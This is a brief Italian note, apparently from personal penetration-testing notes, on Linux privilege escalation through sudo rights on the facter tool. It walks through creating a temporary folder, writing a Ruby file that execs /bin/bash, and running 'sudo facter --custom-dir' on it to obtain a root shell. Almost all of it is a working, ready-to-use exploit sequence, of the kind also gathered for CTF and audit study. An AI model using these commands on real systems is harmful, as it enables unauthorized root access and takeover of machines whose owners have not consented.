tags: facter_SUDO Permessi_SUDO privilage_escalation Linux_Privilage_Escalation
Crea una cartella temporanea in cui hai i permessi di scrittura:
mkdir /tmp/privescCrea uno script Ruby all’interno di quella cartella, questo script dovrà semplicemente dire a Ruby di lanciare una shell di sistema:
echo 'exec "/bin/bash"' > /tmp/privesc/root.rbEsegui facter con sudo indicandogli la tua cartella personalizzata:
sudo facter --custom-dir=/tmp/privescQuando eseguirai questo comando, facter (che in quel momento sta girando come root) andrà a cercare nella cartella /tmp/privesc, troverà il tuo file root.rb, lo eseguirà e ti rilascerà immediatamente una shell con privilegi massimi (#).